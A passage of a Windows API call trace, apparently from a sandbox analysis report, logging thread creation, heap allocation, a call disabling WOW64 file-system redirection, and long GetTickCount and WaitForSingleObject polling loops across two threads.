	[0152.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6287c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0152.582] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625638
	[0152.582] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625638, Size=0x20) returned 0x5ddf70
	[0152.582] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625500
	[0152.582] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625500, Size=0x20) returned 0x5de038
	[0152.582] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.582] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.582] Wow64DisableWow64FsRedirection (in: OldValue=0x298ff7c | out: OldValue=0x298ff7c*=0x0) returned 1
	[0152.582] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.582] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddf70 | out: hHeap=0x5a0000) returned 1
	[0152.582] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.582] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5de038 | out: hHeap=0x5a0000) returned 1
	[0152.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5e6f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0152.583] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0152.850] GetTickCount () returned 0x1139040
	[0152.850] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0153.152] GetTickCount () returned 0x1139169
	[0153.152] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0153.338] GetTickCount () returned 0x1139224
	[0153.338] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0153.652] GetTickCount () returned 0x113935d
	[0153.652] GetTickCount () returned 0x113935d
	[0153.652] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0154.077] GetTickCount () returned 0x1139502
	[0154.077] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0154.244] GetTickCount () returned 0x11395ae
	[0154.244] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0154.516] GetTickCount () returned 0x11396b8
	[0154.516] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0154.808] GetTickCount () returned 0x11397e1
	[0154.808] GetTickCount () returned 0x11397e1
	[0154.808] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0155.021] GetTickCount () returned 0x11398bc
	[0155.021] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0155.332] GetTickCount () returned 0x11399f4
	[0155.332] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0155.834] GetTickCount () returned 0x1139be8
	[0155.834] GetTickCount () returned 0x1139be8
	[0155.834] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0156.257] GetTickCount () returned 0x1139d8e
	[0156.257] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0156.690] GetTickCount () returned 0x1139f34
	[0156.690] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0156.961] GetTickCount () returned 0x113a04d
	[0156.976] GetTickCount () returned 0x113a05d
	[0156.984] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0157.341] GetTickCount () returned 0x113a1c4
	[0157.341] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0157.736] GetTickCount () returned 0x113a34b
	[0157.736] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0157.990] GetTickCount () returned 0x113a454
	[0157.990] GetTickCount () returned 0x113a454
	[0157.990] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0158.366] GetTickCount () returned 0x113a5cb
	[0158.366] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0158.544] GetTickCount () returned 0x113a677
	[0158.544] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0158.868] GetTickCount () returned 0x113a7bf
	[0158.868] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0159.112] GetTickCount () returned 0x113a8aa
	[0159.112] GetTickCount () returned 0x113a8aa
	[0159.113] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0159.264] GetTickCount () returned 0x113a946
	[0159.264] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0159.430] GetTickCount () returned 0x113a9f2
	[0159.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0159.802] GetTickCount () returned 0x113ab69
	[0159.802] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0160.458] GetTickCount () returned 0x113adf9
	[0160.458] GetTickCount () returned 0x113adf9
	[0160.458] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0160.836] GetTickCount () returned 0x113af70
	[0160.838] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0161.055] GetTickCount () returned 0x113b04b
	[0161.055] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0161.345] GetTickCount () returned 0x113b164
	[0161.345] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0161.568] GetTickCount () returned 0x113b25e
	[0161.577] GetTickCount () returned 0x113b25e
	[0161.598] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0161.744] GetTickCount () returned 0x113b2fa
	[0161.744] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0161.903] GetTickCount () returned 0x113b397
	[0161.903] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0162.284] GetTickCount () returned 0x113b50e
	[0162.284] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0162.661] GetTickCount () returned 0x113b694
	[0162.662] GetTickCount () returned 0x113b694
	[0162.662] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0163.134] GetTickCount () returned 0x113b869
	[0163.134] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0163.421] GetTickCount () returned 0x113b982
	[0163.421] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0163.629] GetTickCount () returned 0x113ba5d
	[0163.629] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0163.763] GetTickCount () returned 0x113bada
	[0163.763] GetTickCount () returned 0x113bada
	[0163.763] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0164.037] GetTickCount () returned 0x113bbf3
	[0164.037] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0164.390] GetTickCount () returned 0x113bd4b
	[0164.390] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0164.769] GetTickCount () returned 0x113bed2
	[0164.769] GetTickCount () returned 0x113bed2
	[0164.769] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0164.896] GetTickCount () returned 0x113bf4f
	[0164.915] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0165.156] GetTickCount () returned 0x113c049
	[0165.156] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0165.965] GetTickCount () returned 0x113c375
	[0165.965] GetTickCount () returned 0x113c375
	[0165.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0166.363] GetTickCount () returned 0x113c50b
	[0166.363] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0166.533] GetTickCount () returned 0x113c5a8
	[0166.533] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0166.759] GetTickCount () returned 0x113c682
	[0166.759] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0167.001] GetTickCount () returned 0x113c77c
	[0167.005] GetTickCount () returned 0x113c77c
	[0167.005] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0167.285] GetTickCount () returned 0x113c896
	[0167.286] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0167.887] GetTickCount () returned 0x113cb07
	[0167.887] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0168.417] GetTickCount () returned 0x113cd0a
	[0168.418] GetTickCount () returned 0x113cd0a
	[0168.418] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0168.892] GetTickCount () returned 0x113cedf
	[0168.892] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0169.167] GetTickCount () returned 0x113cff8
	[0169.167] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0169.566] GetTickCount () returned 0x113d17f
	[0169.566] GetTickCount () returned 0x113d17f
	[0169.566] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0169.741] GetTickCount () returned 0x113d22b
	[0169.741] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0170.140] GetTickCount () returned 0x113d3c1
	[0170.140] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0170.461] GetTickCount () returned 0x113d509
	[0170.461] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0170.891] GetTickCount () returned 0x113d6af
	[0170.891] GetTickCount () returned 0x113d6af
	[0170.891] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0171.179] GetTickCount () returned 0x113d7c8
	[0171.179] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0171.337] GetTickCount () returned 0x113d874
	[0171.337] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0171.897] GetTickCount () returned 0x113daa7
	[0171.897] GetTickCount () returned 0x113daa7
	[0171.897] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0172.197] GetTickCount () returned 0x113dbcf
	[0172.197] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0172.708] GetTickCount () returned 0x113ddd3
	[0172.708] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0172.990] GetTickCount () returned 0x113deec
	[0172.990] GetTickCount () returned 0x113deec
	[0172.990] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0173.164] GetTickCount () returned 0x113df98
	[0173.164] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0173.461] GetTickCount () returned 0x113e0d1
	[0173.475] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0173.686] GetTickCount () returned 0x113e1ab
	[0173.686] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0173.930] GetTickCount () returned 0x113e296
	[0173.930] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0174.112] GetTickCount () returned 0x113e351
	[0174.112] GetTickCount () returned 0x113e351
	[0174.112] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0174.392] GetTickCount () returned 0x113e46b
	[0174.392] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0174.538] GetTickCount () returned 0x113e4f7
	[0174.538] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0174.656] GetTickCount () returned 0x113e574
	[0174.656] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0174.896] GetTickCount () returned 0x113e65f
	[0174.896] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0175.037] GetTickCount () returned 0x113e6eb
	[0175.037] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0175.144] GetTickCount () returned 0x113e759
	[0175.144] GetTickCount () returned 0x113e759
	[0175.144] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0175.578] GetTickCount () returned 0x113e90e
	[0175.578] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0175.876] GetTickCount () returned 0x113ea37
	[0175.876] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0176.055] GetTickCount () returned 0x113eae3
	[0176.055] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0176.310] GetTickCount () returned 0x113ebec
	[0176.310] GetTickCount () returned 0x113ebec
	[0176.310] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0176.477] GetTickCount () returned 0x113ec89
	[0176.477] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0176.593] GetTickCount () returned 0x113ed06
	[0176.593] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0176.849] GetTickCount () returned 0x113ee00
	[0176.849] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0177.052] GetTickCount () returned 0x113eecb
	[0177.052] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0177.269] GetTickCount () returned 0x113efa6
	[0177.269] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0178.129] GetTickCount () returned 0x113f301
	[0178.129] GetTickCount () returned 0x113f301
	[0178.129] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0178.284] GetTickCount () returned 0x113f39d
	[0178.284] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0178.540] GetTickCount () returned 0x113f497
	[0178.540] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0178.712] GetTickCount () returned 0x113f543
	[0178.712] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0178.989] GetTickCount () returned 0x113f65c
	[0178.989] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0179.439] GetTickCount () returned 0x113f821
	[0179.439] GetTickCount () returned 0x113f821
	[0179.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0179.633] GetTickCount () returned 0x113f8dd
	[0179.633] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0179.970] GetTickCount () returned 0x113fa35
	[0179.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0180.220] GetTickCount () returned 0x113fb2f
	[0180.220] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0180.583] GetTickCount () returned 0x113fc96
	[0180.583] GetTickCount () returned 0x113fc96
	[0180.583] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0180.944] GetTickCount () returned 0x113fdfd
	[0180.944] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0181.173] GetTickCount () returned 0x113fed8
	[0181.173] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0181.468] GetTickCount () returned 0x1140001
	[0181.468] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0181.605] GetTickCount () returned 0x114008e
	[0181.605] GetTickCount () returned 0x114008e
	[0181.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0181.834] GetTickCount () returned 0x1140178
	[0181.834] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0182.328] GetTickCount () returned 0x114036c
	[0182.328] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0182.854] GetTickCount () returned 0x1140570
	[0182.854] GetTickCount () returned 0x1140570
	[0182.854] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0183.219] GetTickCount () returned 0x11406e7
	[0183.219] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0183.556] GetTickCount () returned 0x114082f
	[0183.556] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0183.777] GetTickCount () returned 0x114090a
	[0183.777] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0183.924] GetTickCount () returned 0x11409a6
	[0183.924] GetTickCount () returned 0x11409a6
	[0183.925] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0184.307] GetTickCount () returned 0x1140b1d
	[0184.307] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0184.641] GetTickCount () returned 0x1140c75
	[0184.641] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x0
	[0184.784] WaitForMultipleObjects (nCount=0x4, lpHandles=0x298ff5c*=0x2ec, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 38
	os_tid = 0xdf8

	[0152.575] GetTickCount () returned 0x1138f26
	[0152.575] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x628858
	[0152.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x628858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0152.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x628858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0152.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x628858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0152.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x628858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0152.578] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625500
	[0152.578] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625500, Size=0x20) returned 0x5de038
	[0152.578] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6255d8
	[0152.578] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6255d8, Size=0x20) returned 0x5dded0
	[0152.578] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.578] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.578] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff7c | out: OldValue=0x2acff7c*=0x0) returned 1
	[0152.578] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.578] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5de038 | out: hHeap=0x5a0000) returned 1
	[0152.578] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.578] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dded0 | out: hHeap=0x5a0000) returned 1
	[0152.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x63bf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0152.579] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0152.850] GetTickCount () returned 0x1139040
	[0152.850] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0153.151] GetTickCount () returned 0x1139169
	[0153.151] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0153.337] GetTickCount () returned 0x1139224
	[0153.337] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0153.652] GetTickCount () returned 0x113935d
	[0153.652] GetTickCount () returned 0x113935d
	[0153.652] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0154.077] GetTickCount () returned 0x1139502
	[0154.077] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0154.243] GetTickCount () returned 0x11395ae
	[0154.243] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0154.517] GetTickCount () returned 0x11396b8
	[0154.517] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0154.808] GetTickCount () returned 0x11397e1
	[0154.808] GetTickCount () returned 0x11397e1
	[0154.808] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0155.021] GetTickCount () returned 0x11398bc
	[0155.021] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0155.332] GetTickCount () returned 0x11399f4
	[0155.332] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0155.833] GetTickCount () returned 0x1139be8
	[0155.833] GetTickCount () returned 0x1139be8
	[0155.834] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0156.257] GetTickCount () returned 0x1139d8e
	[0156.257] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0156.690] GetTickCount () returned 0x1139f34
	[0156.690] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0156.907] GetTickCount () returned 0x113a00f
	[0156.907] GetTickCount () returned 0x113a00f
	[0156.907] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0157.222] GetTickCount () returned 0x113a147
	[0157.222] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0157.690] GetTickCount () returned 0x113a31c
	[0157.690] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0157.969] GetTickCount () returned 0x113a435
	[0157.969] GetTickCount () returned 0x113a435
	[0157.969] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0158.363] GetTickCount () returned 0x113a5cb
	[0158.363] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0158.541] GetTickCount () returned 0x113a677
	[0158.541] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0158.867] GetTickCount () returned 0x113a7bf
	[0158.867] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0159.113] GetTickCount () returned 0x113a8aa
	[0159.113] GetTickCount () returned 0x113a8aa
	[0159.113] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0159.264] GetTickCount () returned 0x113a946
	[0159.264] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0159.430] GetTickCount () returned 0x113a9f2
	[0159.430] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0159.802] GetTickCount () returned 0x113ab69
	[0159.802] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0160.459] GetTickCount () returned 0x113adf9
	[0160.459] GetTickCount () returned 0x113adf9
	[0160.459] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0160.838] GetTickCount () returned 0x113af70
	[0160.839] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0161.055] GetTickCount () returned 0x113b04b
	[0161.055] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0161.345] GetTickCount () returned 0x113b164
	[0161.345] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0161.555] GetTickCount () returned 0x113b23f
	[0161.555] GetTickCount () returned 0x113b23f
	[0161.555] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0161.720] GetTickCount () returned 0x113b2db
	[0161.720] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0161.833] GetTickCount () returned 0x113b348
	[0161.834] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0162.149] GetTickCount () returned 0x113b481
	[0162.149] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0162.307] GetTickCount () returned 0x113b52d
	[0162.308] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0162.738] GetTickCount () returned 0x113b6e2
	[0162.738] GetTickCount () returned 0x113b6e2
	[0162.738] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0163.206] GetTickCount () returned 0x113b8a7
	[0163.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0163.450] GetTickCount () returned 0x113b9a1
	[0163.450] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0163.715] GetTickCount () returned 0x113baab
	[0163.715] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0163.855] GetTickCount () returned 0x113bb38
	[0163.855] GetTickCount () returned 0x113bb38
	[0163.855] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0164.050] GetTickCount () returned 0x113bc03
	[0164.050] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0164.391] GetTickCount () returned 0x113bd4b
	[0164.391] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0164.769] GetTickCount () returned 0x113bed2
	[0164.769] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0164.933] GetTickCount () returned 0x113bf6e
	[0164.933] GetTickCount () returned 0x113bf6e
	[0164.933] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0165.172] GetTickCount () returned 0x113c058
	[0165.172] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0165.965] GetTickCount () returned 0x113c375
	[0165.965] GetTickCount () returned 0x113c375
	[0165.965] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0166.362] GetTickCount () returned 0x113c50b
	[0166.362] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0166.533] GetTickCount () returned 0x113c5a8
	[0166.533] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0166.759] GetTickCount () returned 0x113c682
	[0166.759] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0167.005] GetTickCount () returned 0x113c77c
	[0167.005] GetTickCount () returned 0x113c77c
	[0167.005] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0167.286] GetTickCount () returned 0x113c896
	[0167.286] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0167.885] GetTickCount () returned 0x113cae7
	[0167.885] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0168.342] GetTickCount () returned 0x113ccbc
	[0168.342] GetTickCount () returned 0x113ccbc
	[0168.342] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0168.842] GetTickCount () returned 0x113ceb0
	[0168.842] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0169.095] GetTickCount () returned 0x113cfaa
	[0169.095] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0169.436] GetTickCount () returned 0x113d102
	[0169.436] GetTickCount () returned 0x113d102
	[0169.436] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0169.723] GetTickCount () returned 0x113d21b
	[0169.723] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0170.140] GetTickCount () returned 0x113d3c1
	[0170.140] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0170.461] GetTickCount () returned 0x113d509
	[0170.461] GetTickCount () returned 0x113d509
